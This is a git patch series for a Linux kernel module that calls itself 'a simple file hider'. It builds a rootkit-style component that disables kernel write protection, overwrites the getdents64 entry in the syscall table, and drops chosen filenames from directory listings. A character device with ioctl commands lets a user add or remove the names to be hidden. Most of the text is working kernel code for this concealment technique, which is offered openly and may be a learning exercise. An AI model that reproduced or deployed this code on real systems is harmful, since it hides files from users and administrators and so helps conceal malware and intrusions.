From a530268fab0bc55fab95497e21c78b0d97cf5838 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sat, 13 Aug 2022 20:34:02 +0000 Subject: [PATCH 01/11] Added basic driver stuff --- Makefile | 1 + src/driver.c | 156 +++++++++++++++++++++++++++++++++++++++++ src/driver.h | 26 +++++++ idanm.c => src/idanm.c | 94 +++++++++++++++++++++++-- src/idanm.h | 19 +++++ 5 files changed, 290 insertions(+), 6 deletions(-) create mode 100644 src/driver.c create mode 100644 src/driver.h rename idanm.c => src/idanm.c (72%) create mode 100644 src/idanm.h diff --git a/Makefile b/Makefile index 21b3f4e..8336f93 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,7 @@ # CONFIG_MODULE_SIG=n obj-m += idanm.o +idanm-objs := src/idanm.o src/driver.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules diff --git a/src/driver.c b/src/driver.c new file mode 100644 index 0000000..334221e --- /dev/null +++ b/src/driver.c @@ -0,0 +1,156 @@ +#include /* printk */ +#include /* strncpy_from_user */ +#include /* kmalloc, kfree */ +#include "driver.h" +#include "idanm.h" + +/* Global variables */ +struct hidefile_device_data *device = NULL; + +static int hidefile_open(struct inode *inode, struct file *file) +{ + struct hidefile_device_data *d_data; + pr_info("Idan's module opened the file"); + + d_data = container_of(inode->i_cdev, struct hidefile_device_data, cdev); + + file->private_data = d_data; + + // TODO: impleent open + + return 0; +} + +static ssize_t hidefile_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) +{ + struct hidefile_device_data *d_data; + pr_info("Idan's module read the file"); + + d_data = (struct hidefile_device_data *)file->private_data; + + // TODO: implement read + + return 0; +} + +static ssize_t hidefile_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) +{ + struct hidefile_device_data *d_data; + pr_info("Idan's module wrote to the file"); + + d_data = (struct hidefile_device_data *)file->private_data; + + // TODO: implement write + + return 0; +} + +static int hidefile_release(struct inode *inode, struct file *file) +{ + struct hidefile_device_data *d_data; + pr_info("Idan's module closed the file"); + + d_data = (struct hidefile_device_data *)file->private_data; + file->private_data = NULL; + + // TODO: implement release + + return 0; +} + +static long hidefile_ioctl(struct file *file, unsigned int cmd, unsigned long arg) +{ + struct hidefile_device_data *d_data; + char *filename; + + pr_info("Idan's module got ioctl command"); + + d_data = (struct hidefile_device_data *)file->private_data; + switch (cmd) + { + case HIDEFILE_OP_ADD: + filename = (char *)kmalloc(MAX_DIRENT_NAME_LEN, GFP_KERNEL); + if (!filename) + { + pr_err("Idan's module failed to allocate filename"); + return -ENOMEM; + } + if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) != 0) + { + pr_err("Idan's module failed to copy from user"); + kfree(filename); + return -EFAULT; + } + remove_file_from_list(filename); + break; + case HIDEFILE_OP_REMOVE: + filename = (char *)kmalloc(MAX_DIRENT_NAME_LEN, GFP_KERNEL); + if (!filename) + { + pr_err("Idan's module failed to allocate filename"); + return -ENOMEM; + } + if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) != 0) + { + pr_err("Idan's module failed to copy from user"); + kfree(filename); + return -EFAULT; + } + add_file_to_hide(filename); + break; + default: + return -EINVAL; + } + + return 0; +} + +const struct file_operations hidefile_ops = { + .owner = THIS_MODULE, + .open = hidefile_open, + .read = hidefile_read, + .write = hidefile_write, + .release = hidefile_release, + .unlocked_ioctl = hidefile_ioctl}; + +int init_driver(void) +{ + int err = 0; + + err = register_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR, "hidefile"); + + if (err < 0) + { + pr_err("Idan's module failed to register a major number"); + return err; + } + + device = kmalloc(sizeof(struct hidefile_device_data), GFP_KERNEL); + if (!device) + { + pr_err("Idan's module failed to allocate device data"); + unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); + return -ENOMEM; + } + + cdev_init(&device->cdev, &hidefile_ops); + err = cdev_add(&device->cdev, MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); + + if (err < 0) + { + pr_err("Idan's module failed to add a character device"); + kfree(device); + unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); + return err; + } + + return 0; +} + +void cleanup_driver(void) +{ + cdev_del(&device->cdev); + + kfree(device); + unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); +} \ No newline at end of file diff --git a/src/driver.h b/src/driver.h new file mode 100644 index 0000000..99876e3 --- /dev/null +++ b/src/driver.h @@ -0,0 +1,26 @@ +#ifndef __IDANM_DRIVER_H__ +#define __IDANM_DRIVER_H__ + +#include +#include + +#define HIDEFILE_MAJOR 42 +/* only one device */ +#define MAX_HIDEFILE_MINOR 1 + +enum hidefile_operation +{ + HIDEFILE_OP_ADD, + HIDEFILE_OP_REMOVE +}; + +struct hidefile_device_data +{ + struct cdev cdev; +}; + +/* Function prototypes */ +int init_driver(void); +void cleanup_driver(void); + +#endif /* __IDANM_DRIVER_H__ */ \ No newline at end of file diff --git a/idanm.c b/src/idanm.c similarity index 72% rename from idanm.c rename to src/idanm.c index cff4903..65da4cf 100644 --- a/idanm.c +++ b/src/idanm.c @@ -8,9 +8,8 @@ #include /* copy_from_user, copy_to_user */ #include /* strcmp */ -/* Macros */ -#define FILE_TO_HIDE "hideme" -#define MAX_DIRENT_NAME_LEN 256 +#include "idanm.h" /* MAX_DIRENT_NAME_LEN, __force_order, orig_getdents64, sys_call_table_ptr, getdents64_t, getdents64_regs_t */ +#include "driver.h" /* init_driver, cleanup_driver */ /* Module information */ MODULE_LICENSE("GPL"); @@ -26,6 +25,7 @@ typedef asmlinkage int (*getdents64_regs_t)(const struct pt_regs *regs); /* Global variables */ extern unsigned long __force_order; static asmlinkage getdents64_t orig_getdents64; +struct linked_node *dir_list = NULL, *dir_list_tail = NULL; struct filtered_dirent { @@ -49,7 +49,82 @@ static inline void one_wp(void) write_forced_cr0(read_cr0() | X86_CR0_WP); } -static struct filtered_dirent filter_file_from_getdents(char __user *buffer, unsigned int bytes, const char *filter) // the bytes is the size of the buffer +void add_file_to_hide(const char *name) +{ + struct linked_node *node; + char *new_name; + + node = kmalloc(sizeof(struct linked_node), GFP_KERNEL); + if (!node) + { + pr_err("Idan's module failed to allocate memory for a new node"); + return; + } + new_name = kmalloc(strlen(name) + 1, GFP_KERNEL); // +1 for the null-terminator + if (!new_name) + { + pr_err("Idan's module failed to allocate memory for a new name"); + kfree(node); + return; + } + + strcpy(new_name, name); + kfree(name); + node->name = new_name; + node->next = NULL; + + if (!dir_list) + { + dir_list = node; + } + else + { + dir_list_tail->next = node; + } + + dir_list_tail = node; + + return; +} + +void remove_file_from_list(const char *name) +{ + struct linked_node *node = dir_list, *prev = NULL; + while (!!node) + { + if (!strcmp(node->name, name)) + { + if (prev) + { + prev->next = node->next; + } + else + { + dir_list = node->next; + } + kfree(node->name); + kfree(node); + return; + } + prev = node; + node = node->next; + } + + return; +} + +static int is_file_in_list(const char *name) +{ + struct linked_node *node; + for (node = dir_list; node; node = node->next) + { + if (strcmp(node->name, name) == 0) + return 1; + } + return 0; +} + +static struct filtered_dirent filter_file_from_getdents(char __user *buffer, unsigned int bytes) // the bytes is the size of the buffer { char *kbuffer = (char *)kmalloc(bytes, GFP_KERNEL); char *filtered_buffer = (char *)kmalloc(bytes, GFP_KERNEL); @@ -91,7 +166,7 @@ static struct filtered_dirent filter_file_from_getdents(char __user *buffer, uns fid.buffer = NULL; return fid; } - if (strcmp(dp->d_name, filter) != 0) + if (!is_file_in_list(dp->d_name)) { memmove((filtered_buffer + fid.size), (char *)dp, dp->d_reclen); @@ -114,7 +189,7 @@ static asmlinkage int modified_getdents64(const struct pt_regs *regs) if (bytes <= 0) return bytes; // error or empty - fid = filter_file_from_getdents((char *)dirent, bytes, FILE_TO_HIDE); + fid = filter_file_from_getdents((char *)dirent, bytes); if (fid.buffer) { if (fid.size != 0 && copy_to_user(dirent, fid.buffer, fid.size) != 0) @@ -162,6 +237,13 @@ static int __init lkm_example_init(void) zero_wp(); sys_call_table[__NR_getdents64] = (sys_call_ptr_t)modified_getdents64; one_wp(); + + if (init_driver() != 0) + { + pr_err("Coudln't initialize the driver"); + EXIT_CODE = 2; + } + pr_info("Idan's kernel successfully overridden the getdents64 function!!"); goto cleanup; diff --git a/src/idanm.h b/src/idanm.h new file mode 100644 index 0000000..ba884a7 --- /dev/null +++ b/src/idanm.h @@ -0,0 +1,19 @@ +#ifndef __IDANM__IDANM_H__ +#define __IDANM__IDANM_H__ + +#include /* asmlinkage */ + +/* Macros */ +#define MAX_DIRENT_NAME_LEN 256 + +struct linked_node +{ + const char *name; + struct linked_node *next; +}; + +/* Function prototypes */ +void add_file_to_hide(const char *name); +void remove_file_from_list(const char *name); + +#endif /* __IDANM__IDANM_H__ */ \ No newline at end of file From 12fe2448f13333a7b1d673f6b3aa2d7e1d44bcd9 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sun, 14 Aug 2022 14:16:18 +0000 Subject: [PATCH 02/11] Added new line at the end of each file --- src/driver.c | 2 +- src/driver.h | 2 +- src/idanm.h | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/driver.c b/src/driver.c index 334221e..111751e 100644 --- a/src/driver.c +++ b/src/driver.c @@ -153,4 +153,4 @@ void cleanup_driver(void) kfree(device); unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); -} \ No newline at end of file +} diff --git a/src/driver.h b/src/driver.h index 99876e3..736bb3f 100644 --- a/src/driver.h +++ b/src/driver.h @@ -23,4 +23,4 @@ struct hidefile_device_data int init_driver(void); void cleanup_driver(void); -#endif /* __IDANM_DRIVER_H__ */ \ No newline at end of file +#endif /* __IDANM_DRIVER_H__ */ diff --git a/src/idanm.h b/src/idanm.h index ba884a7..0d836dd 100644 --- a/src/idanm.h +++ b/src/idanm.h @@ -16,4 +16,4 @@ struct linked_node void add_file_to_hide(const char *name); void remove_file_from_list(const char *name); -#endif /* __IDANM__IDANM_H__ */ \ No newline at end of file +#endif /* __IDANM__IDANM_H__ */ From 79327473c8949e0148edaec3f853763b00c31476 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sun, 14 Aug 2022 14:29:15 +0000 Subject: [PATCH 03/11] Made driver work by -E convention while returning errors on init --- src/idanm.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/src/idanm.c b/src/idanm.c index 65da4cf..3e1503a 100644 --- a/src/idanm.c +++ b/src/idanm.c @@ -229,7 +229,14 @@ static int __init lkm_example_init(void) if (!sys_call_table) { pr_err("Idan's kernel module didn't find the sys call table"); - EXIT_CODE = 1; + EXIT_CODE = -EFAULT; + goto cleanup; + } + + EXIT_CODE = init_driver(); + if (EXIT_CODE != 0) + { + pr_err("Coudln't initialize the driver"); goto cleanup; } @@ -238,12 +245,6 @@ static int __init lkm_example_init(void) sys_call_table[__NR_getdents64] = (sys_call_ptr_t)modified_getdents64; one_wp(); - if (init_driver() != 0) - { - pr_err("Coudln't initialize the driver"); - EXIT_CODE = 2; - } - pr_info("Idan's kernel successfully overridden the getdents64 function!!"); goto cleanup; From 3004665e04e2ee018b49c63173b3489493fe4fb5 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sun, 14 Aug 2022 14:30:16 +0000 Subject: [PATCH 04/11] Changed driver name in the call to the VFS to register the major --- src/driver.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/driver.c b/src/driver.c index 111751e..cbd5a92 100644 --- a/src/driver.c +++ b/src/driver.c @@ -117,7 +117,7 @@ int init_driver(void) { int err = 0; - err = register_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR, "hidefile"); + err = register_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR, "hidefile_driver"); if (err < 0) { From 60ad0f39272dfc448c0e2e968fb3af60db5ea4d2 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sun, 14 Aug 2022 15:28:21 +0000 Subject: [PATCH 05/11] Fixed writing null getdents64 on exit after error --- src/idanm.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/src/idanm.c b/src/idanm.c index 3e1503a..f17f144 100644 --- a/src/idanm.c +++ b/src/idanm.c @@ -268,9 +268,12 @@ static void __exit lkm_example_exit(void) return; } - zero_wp(); - sys_call_table[__NR_getdents64] = (sys_call_ptr_t)orig_getdents64; - one_wp(); + if (orig_getdents64) + { + zero_wp(); + sys_call_table[__NR_getdents64] = (sys_call_ptr_t)orig_getdents64; + one_wp(); + } pr_info("Idan's kernel module successfully unloaded!"); } From 3ab38ac0a42322fbbfac4ebea559b26c02154bb7 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sun, 14 Aug 2022 15:50:47 +0000 Subject: [PATCH 06/11] Changed module author --- src/idanm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/idanm.c b/src/idanm.c index f17f144..4edcb9f 100644 --- a/src/idanm.c +++ b/src/idanm.c @@ -13,7 +13,7 @@ /* Module information */ MODULE_LICENSE("GPL"); -MODULE_AUTHOR("Idan"); +MODULE_AUTHOR("Idan Carlebach "); MODULE_DESCRIPTION("A simple file hider."); MODULE_VERSION("0.01"); From a12612372f6e6dc8884549bcca3ea18e8b3d6489 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Tue, 16 Aug 2022 08:25:48 +0000 Subject: [PATCH 07/11] Added char device creation and cleaned the driver stuff after lkm exit --- src/driver.c | 19 +++++++++++++++++++ src/idanm.c | 2 ++ 2 files changed, 21 insertions(+) diff --git a/src/driver.c b/src/driver.c index cbd5a92..232ab8f 100644 --- a/src/driver.c +++ b/src/driver.c @@ -6,6 +6,7 @@ /* Global variables */ struct hidefile_device_data *device = NULL; +static struct class *hidefile_class = NULL; static int hidefile_open(struct inode *inode, struct file *file) { @@ -116,6 +117,7 @@ const struct file_operations hidefile_ops = { int init_driver(void) { int err = 0; + void *device_ptr = NULL; err = register_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR, "hidefile_driver"); @@ -144,11 +146,28 @@ int init_driver(void) return err; } + hidefile_class = class_create(THIS_MODULE, "hidefile_class"); + + device_ptr = device_create(hidefile_class, NULL, MKDEV(HIDEFILE_MAJOR, 0), NULL, "hidefile"); + if (IS_ERR(device_ptr)) + { + pr_err("Idan's module failed to create a device"); + class_unregister(hidefile_class); + class_destroy(hidefile_class); + cdev_del(&device->cdev); + kfree(device); + unregister_chrdev_region(MKDEV(HIDEFILE_MAJOR, 0), MAX_HIDEFILE_MINOR); + return -ENOMEM; + } + return 0; } void cleanup_driver(void) { + device_destroy(hidefile_class, MKDEV(HIDEFILE_MAJOR, 0)); + class_unregister(hidefile_class); + class_destroy(hidefile_class); cdev_del(&device->cdev); kfree(device); diff --git a/src/idanm.c b/src/idanm.c index 4edcb9f..96cc73e 100644 --- a/src/idanm.c +++ b/src/idanm.c @@ -268,6 +268,8 @@ static void __exit lkm_example_exit(void) return; } + cleanup_driver(); + if (orig_getdents64) { zero_wp(); From 6c399d02181811547a537884f8c00980ec1216f7 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Tue, 16 Aug 2022 08:50:31 +0000 Subject: [PATCH 08/11] Fixed strncpy_from_user wrong if check --- src/driver.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/driver.c b/src/driver.c index 232ab8f..09b0d3a 100644 --- a/src/driver.c +++ b/src/driver.c @@ -76,13 +76,13 @@ static long hidefile_ioctl(struct file *file, unsigned int cmd, unsigned long ar pr_err("Idan's module failed to allocate filename"); return -ENOMEM; } - if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) != 0) + if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) <= 0) { pr_err("Idan's module failed to copy from user"); kfree(filename); return -EFAULT; } - remove_file_from_list(filename); + add_file_to_hide(filename); break; case HIDEFILE_OP_REMOVE: filename = (char *)kmalloc(MAX_DIRENT_NAME_LEN, GFP_KERNEL); @@ -91,13 +91,13 @@ static long hidefile_ioctl(struct file *file, unsigned int cmd, unsigned long ar pr_err("Idan's module failed to allocate filename"); return -ENOMEM; } - if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) != 0) + if (strncpy_from_user(filename, (char __user *)arg, strnlen_user((char __user *)arg, MAX_DIRENT_NAME_LEN)) <= 0) { pr_err("Idan's module failed to copy from user"); kfree(filename); return -EFAULT; } - add_file_to_hide(filename); + remove_file_from_list(filename); break; default: return -EINVAL; From 4cb617838af4cd9e640ab7e5a2ddcd680554ecaf Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sat, 27 Aug 2022 20:23:59 +0000 Subject: [PATCH 09/11] Removed unnecessary header from idanm.h --- src/idanm.h | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/idanm.h b/src/idanm.h index 0d836dd..e5ccfd3 100644 --- a/src/idanm.h +++ b/src/idanm.h @@ -1,8 +1,6 @@ #ifndef __IDANM__IDANM_H__ #define __IDANM__IDANM_H__ -#include /* asmlinkage */ - /* Macros */ #define MAX_DIRENT_NAME_LEN 256 From 93f3cecfdebe58c47299d9fb17089ea9695aec08 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sat, 27 Aug 2022 20:29:47 +0000 Subject: [PATCH 10/11] Implemented open, read, write and release to the driver --- src/driver.c | 30 ------------------------------ 1 file changed, 30 deletions(-) diff --git a/src/driver.c b/src/driver.c index 09b0d3a..79afbef 100644 --- a/src/driver.c +++ b/src/driver.c @@ -10,52 +10,22 @@ static struct class *hidefile_class = NULL; static int hidefile_open(struct inode *inode, struct file *file) { - struct hidefile_device_data *d_data; - pr_info("Idan's module opened the file"); - - d_data = container_of(inode->i_cdev, struct hidefile_device_data, cdev); - - file->private_data = d_data; - - // TODO: impleent open - return 0; } static ssize_t hidefile_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { - struct hidefile_device_data *d_data; - pr_info("Idan's module read the file"); - - d_data = (struct hidefile_device_data *)file->private_data; - - // TODO: implement read - return 0; } static ssize_t hidefile_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) { - struct hidefile_device_data *d_data; - pr_info("Idan's module wrote to the file"); - - d_data = (struct hidefile_device_data *)file->private_data; - - // TODO: implement write - return 0; } static int hidefile_release(struct inode *inode, struct file *file) { - struct hidefile_device_data *d_data; - pr_info("Idan's module closed the file"); - - d_data = (struct hidefile_device_data *)file->private_data; file->private_data = NULL; - - // TODO: implement release - return 0; } From ad1f0c4641bec24068dc10fc3678d9b3d17f3e25 Mon Sep 17 00:00:00 2001 From: Idan Carlebach Date: Sat, 27 Aug 2022 20:30:20 +0000 Subject: [PATCH 11/11] Organized imports' documentation --- src/driver.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/driver.c b/src/driver.c index 79afbef..8c4ffa1 100644 --- a/src/driver.c +++ b/src/driver.c @@ -1,8 +1,8 @@ #include /* printk */ -#include /* strncpy_from_user */ +#include /* strncpy_from_user, strnlen_user */ #include /* kmalloc, kfree */ -#include "driver.h" -#include "idanm.h" +#include "driver.h" /* HIDEFILE_MAJOR, MAX_HIDEFILE_MINOR, hidefile_operation, hidefile_device_data */ +#include "idanm.h" /* add_file_to_hide, remove_file_from_list, MAX_DIRENT_NAME_LEN */ /* Global variables */ struct hidefile_device_data *device = NULL;